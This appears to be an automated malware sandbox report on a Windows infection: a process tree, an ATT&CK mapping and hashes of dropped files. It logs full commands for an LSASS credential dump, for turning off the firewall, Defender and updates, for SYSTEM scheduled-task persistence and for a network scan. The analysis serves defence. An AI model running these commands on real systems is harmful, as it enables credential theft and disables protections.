- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\jhetmctcv\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\jhetmctcv\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:3264
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3128
- - C:\Windows\jhetmctcv\Corporate\vfshost.exe
    C:\Windows\jhetmctcv\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3308
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "jbemublie" /ru system /tr "cmd /c C:\Windows\ime\mgmtcbi.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "jbemublie" /ru system /tr "cmd /c C:\Windows\ime\mgmtcbi.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4504
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "umbbbtict" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ybemumnz\mgmtcbi.exe /p everyone:F"
  2⤵
  PID:1876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "umbbbtict" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ybemumnz\mgmtcbi.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4524
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bwctviivv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\untipbtiz\ltbtbc.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1656
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bwctviivv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\untipbtiz\ltbtbc.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2548
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1732
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4748
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2108
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3792
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:636
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3420
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4440
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1380
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5084
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4536
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1092
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4996
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:516
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4236
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:1892
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:3364
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4924
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4692
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:2008
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:4292
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1620
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      PID:4556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3600
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:612
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:4560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:3788
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4988
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:3136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4588
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3604
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3264
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2040
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:1052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2556
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:5032
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3628
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 780 C:\Windows\TEMP\jhetmctcv\780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4576
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 340 C:\Windows\TEMP\jhetmctcv\340.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4936
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2116 C:\Windows\TEMP\jhetmctcv\2116.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4712
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2588 C:\Windows\TEMP\jhetmctcv\2588.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2044
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2804 C:\Windows\TEMP\jhetmctcv\2804.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1840
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2856 C:\Windows\TEMP\jhetmctcv\2856.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 3024 C:\Windows\TEMP\jhetmctcv\3024.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1472
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 3928 C:\Windows\TEMP\jhetmctcv\3928.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:464
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:736
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 4032 C:\Windows\TEMP\jhetmctcv\4032.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2216
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 3004 C:\Windows\TEMP\jhetmctcv\3004.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 3176 C:\Windows\TEMP\jhetmctcv\3176.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5100
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2328 C:\Windows\TEMP\jhetmctcv\2328.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3828
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 4744 C:\Windows\TEMP\jhetmctcv\4744.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2896
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 764 C:\Windows\TEMP\jhetmctcv\764.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3280
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 3208 C:\Windows\TEMP\jhetmctcv\3208.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2596
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3420
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 1244 C:\Windows\TEMP\jhetmctcv\1244.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4912
- C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe
  C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe -accepteula -mp 2980 C:\Windows\TEMP\jhetmctcv\2980.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4116
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\jhetmctcv\bctzbzczb\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1624
- - C:\Windows\jhetmctcv\bctzbzczb\btuizeiim.exe
    btuizeiim.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1488
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2176
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5836
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:4176
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3060
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:2448
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3464
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3280

C:\Windows\SysWOW64\fknvgk.exe
C:\Windows\SysWOW64\fknvgk.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4748

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\mgmtcbi.exe
1⤵
PID:4968
- C:\Windows\ime\mgmtcbi.exe
  C:\Windows\ime\mgmtcbi.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1924

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ybemumnz\mgmtcbi.exe /p everyone:F
1⤵
PID:1896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4112
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ybemumnz\mgmtcbi.exe /p everyone:F
  2⤵
  PID:2576

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\untipbtiz\ltbtbc.exe /p everyone:F
1⤵
PID:4004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2584
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\untipbtiz\ltbtbc.exe /p everyone:F
  2⤵
  PID:2012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\jhetmctcv\2116.dmp

Filesize
4.2MB

MD5
8679036664248f71c1027595d2f1d26b

SHA1
64221844cb496ce7cbaaff92b813bd6042e1c900

SHA256
de1c110ed147eaba868409b34be5d259e259ea431c895383e63c4d7d784a56c1

SHA512
e8d489ba67f9345f681793063f9e22fc6c946dc493fd2bad167ae7270263f8540c40208477730c45fae4ff59a757cc7b9648110c83b42b8d2badd6708e561014

Download Submit
C:\Windows\TEMP\jhetmctcv\2328.dmp

Filesize
26.0MB

MD5
d967eba35b6ed7236a5190345aa0194e

SHA1
2f0e95b8f072c3a1e7315d4c9df4443f96cba71b

SHA256
f5bc42318c7ed2c1a787f751dce322c0f14709b19bde8384c5216bea52912e5d

SHA512
423a9419658c8f71a1b5d91b71561075b856ae43c296466e48dc26d8cbeac5e54a090e9dd73555064ac134b34bab1c47daf742b9f9644552bd1aa9a67b5dc6ed

Download Submit
C:\Windows\TEMP\jhetmctcv\2588.dmp

Filesize
3.8MB

MD5
7da64c6b27da9691b4d7dbd1404201f5

SHA1
da883efcf5472f302d04ada1ff60043118e6427e

SHA256
f10791847ff325a29c9d3accef11bbfae5681300f062d08c9611e20c285c8581

SHA512
1826d6123e160892bff9d83e032fc1b3f3622f74e3cf41de4e7b7c7e9ed95317c1e443bde7d2fa72209d53f35c6b1271b930eae3c65e45785ee4728515d282f8

Download Submit
C:\Windows\TEMP\jhetmctcv\2804.dmp

Filesize
2.9MB

MD5
60f5eec0459340b4ea7f1e089b15bf3c

SHA1
f4bb8041ea6ab6d7e1b1b6201f5ad3b11b50f0c9

SHA256
17d4910332588ebf3fd1c75f2e03f1f333823c45587f8a32125e97af77bb98eb

SHA512
28d7e0d027a419ae58899cbf8d360a53aa82d6b57607d6900b48f613a0d2e2239a417dd200e41c1c17e17126431a517eec509c4e8d2ed2336cd6c144b00e8ec7

Download Submit
C:\Windows\TEMP\jhetmctcv\2856.dmp

Filesize
7.5MB

MD5
a429e65ca1f58388560866af2c9a2956

SHA1
aa320e9d3ee5c02d6196b9caad5cb209594f4284

SHA256
61cd07d3db83d75a9b67a36f2bb9779241a3233c13e3110a2d0935bfba5fb89b

SHA512
1c61446c51ef63f652c9429d04212bb7cf408ae8a01da6c753934bddfaa465669e3faf14e32cea92542179b7a9c92c6cf21db772063276511d3a068db3ec5c0d

Download Submit
C:\Windows\TEMP\jhetmctcv\3004.dmp

Filesize
4.1MB

MD5
9cb65565f95945a5550bd65c9695bcbb

SHA1
bc0a82f4d102e9a8d7323ca80461493b7e6b9e63

SHA256
7997ddbd1c9bb7ca10aefc442c35f493e223bfad64757b7524ad0f9e5aedbf0a

SHA512
261c27462710f2539bbe488829e85d415a98f531bba27ac2bfda9054a88b3656907f336ee2803cc6d756c33b1527938eaf8b884e8fe80338c847fab0888d14cf

Download Submit
C:\Windows\TEMP\jhetmctcv\3024.dmp

Filesize
792KB

MD5
ddb7cc53e7308ed01225dcf5a3cd0392

SHA1
b271ec085f957420801039aff127cad0764d6eee

SHA256
260cda2633439b6851477d970ce0c7fc7cc60ebd7802a8f4ef3f5b4acfb315b3

SHA512
3170b3ff36ac94948ef4abc33149172cdf43da00acda887f9b1f490a23900194d02cbde111569eb218c32b3810abbcacc5cf8f72f860569b45d77036f17f254e

Download Submit
C:\Windows\TEMP\jhetmctcv\3176.dmp

Filesize
44.2MB

MD5
deb6d21925b319d88136591332162d51

SHA1
9386b2caa1182fa489694cf623cbf2d98a957ca9

SHA256
e1c9055ea8f3053ccff6fe11d4bedfac3c9515c9d44829acc389052f38cb391b

SHA512
bfccfd1407822ca5324dd77d8eb47048cbe4b93c8eafd3730c22331785d4ec7d84fba4e2eb3e28088395a0566fd1dbe01bbd4e7399b7a114c8b9a2224b95d68f

Download Submit
C:\Windows\TEMP\jhetmctcv\3208.dmp

Filesize
1.3MB

MD5
cb2272a9f5b5d3a40d5d21e7627b8fa1

SHA1
053119b4d498cf434b418b0bd9eb76ac13304f4f

SHA256
7c2126f5f989ccb54777014990232ba1439a732af18c92c8d6db8f96b0e072d9

SHA512
de7f451378204bb49f4bd4404d918b3260d6f15a9294e3e8a2949d532e4f70dbeb215d8b8383104087d7e8a5b01e08fd3aae9b4d27ec6006a59cbf9fdad53971

Download Submit
C:\Windows\TEMP\jhetmctcv\340.dmp

Filesize
34.4MB

MD5
45c71334e9ef3ff225de9c9a2c937f8e

SHA1
e0da2a7f198bbfa47af610749041b30e088b46f4

SHA256
d1947b201c05134c398b23929177fea4fdcdbd2b041bc6ac0d782e455457124e

SHA512
aecc0b8aec33d67bf6652658284581d05c376228e51181d5234fe94639c2a416b87becf0b8471e88984c17066336f393231a0d148da331141215255a498581a4

Download Submit
C:\Windows\TEMP\jhetmctcv\3928.dmp

Filesize
2.8MB

MD5
bcbc80ca38f14e88e38dcb3720948ce5

SHA1
d621e7bc9b15f6fe2843a6b26f06353ad936c09d

SHA256
da1f8a5010fdd5eacf2b75ed88ad39c6757701d02144330afb1bbff610b70768

SHA512
39d7b8f07958f662a8455dc33293f0b499353ca4724f814a84baf27346ed2dc76700d6ccf76edb73af58e54379a3a1f8727614633106dc1778e53723e366e202

Download Submit
C:\Windows\TEMP\jhetmctcv\4032.dmp

Filesize
21.0MB

MD5
124c7e87cdb8a1805ae42c3ec33f67e9

SHA1
8ebcaafab8d55c6018c7c00ee193efc0ce5dbbdb

SHA256
40060caecf65e4562cd048102047b2583162fc5edc01a7b682153a247e57f60a

SHA512
4e95c87ced3d8198fea7a081bc4f8b9f0e257f8b46f6df8e753198aa745ddd9692dd6305b6545622745999dfea7fa998f4a6a4d374dbb0d7bed5c23922678652

Download Submit
C:\Windows\TEMP\jhetmctcv\4744.dmp

Filesize
1.1MB

MD5
99089a895d24a44c3f95c91b4b14a6d7

SHA1
ad415613d53705f7f2cd6cb1c79d4d173a518c8b

SHA256
bccc0f7d55bd0e0d1144ad8bd0a94ff19f3058eb295a4644c3fdd9fd76dc8f37

SHA512
e1a1715ad13e461f9f352d1706364e59cd56bb1761a2ec351bfbd709779010fddd0803217b63f0f97a0afdb7268b09a80ab6ce24b7ce784dd33bf163081af750

Download Submit
C:\Windows\TEMP\jhetmctcv\764.dmp

Filesize
8.9MB

MD5
c5e6ef4a86eabe0a3185b30d36a9d29b

SHA1
c2d842b257ee2779e5b8052a65f27ff9abab3c27

SHA256
3adaa66b637384182bbe4e5c84f5439870e95e62d1c6442f1f9961f18d5c7369

SHA512
eceea038bdcb85694f8d3d69af4dc3c05d1dd1a84ca611c15f75d522451f3a82aceb2e8e4bf306f7192257e74ba305e2eef49d1fe61a22849578fc8623b737df

Download Submit
C:\Windows\TEMP\jhetmctcv\780.dmp

Filesize
1019KB

MD5
e3403b634107caf8c08cd50cedf67e48

SHA1
e655d8b8e17bfaad27192cafadd1658da6912d0d

SHA256
0ed73529a632103c010f697c566c9425e34cbe901d2929257cc679bc3b1e16ac

SHA512
ec701e8682031e79c54a95ddbfe1afe04b5bd97ad9eb61ea7d2ce1631a56bdef327d7c811f9c09073ab1fef7c86e1d0400a0935e2bf5b7a9d6f0a3ca4f4f156a

Download Submit
C:\Windows\TEMP\jhetmctcv\iyibcmiuc.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\TEMP\untipbtiz\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\untipbtiz\ltbtbc.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\TEMP\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\Temp\nsf4553.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
